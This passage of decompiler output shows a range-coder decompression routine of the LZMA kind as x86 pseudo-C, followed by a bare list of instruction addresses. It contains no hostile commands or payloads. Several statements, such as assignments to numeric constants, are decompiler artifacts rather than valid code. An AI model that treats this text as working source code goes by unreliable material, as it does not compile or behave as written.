								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x0040667f
0x0040667f
0x00406683
0x0040673a
0x0040673d
0x00406749
0x0040662a
0x0040662a
0x0040662d
0x0040699f
0x0040699f
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00406a15
0x00406a15
0x00406a1b
0x00406a1b
0x00000000
0x004069f0
0x004069f0
0x004069f4
0x00406ba3
0x00000000
0x00406ba3
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00000000
0x00406a12
0x00406689
0x0040668d
0x00406bce
0x00406bce
0x00406bd1
0x00406bd5
0x00406bd5
0x00406693
0x00406699
0x0040669c
0x004066a0
0x004066a3
0x004066a7
0x00406b6d
0x00406bb9
0x00406bc1
0x00406bc8
0x00406bca
0x00000000
0x00406bca
0x004066ad
0x004066b0
0x004066b6
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x004066e1
0x004066e1
0x004066e1
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x00000000
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x00000000
0x004063c0
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a3
0x00000000
0x00406385
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x0040639c
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x00000000
0x00000000
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x00000000
0x00000000
0x00000000
0x00000000
0x004066f0
0x004066f4
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x00000000
0x0040670b
0x004066f6
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x00000000
0x00000000
0x00406969
0x0040696d
0x0040698f
0x00406992
0x0040699c
0x00000000
0x0040699c
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00000000
0x00406a5d
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
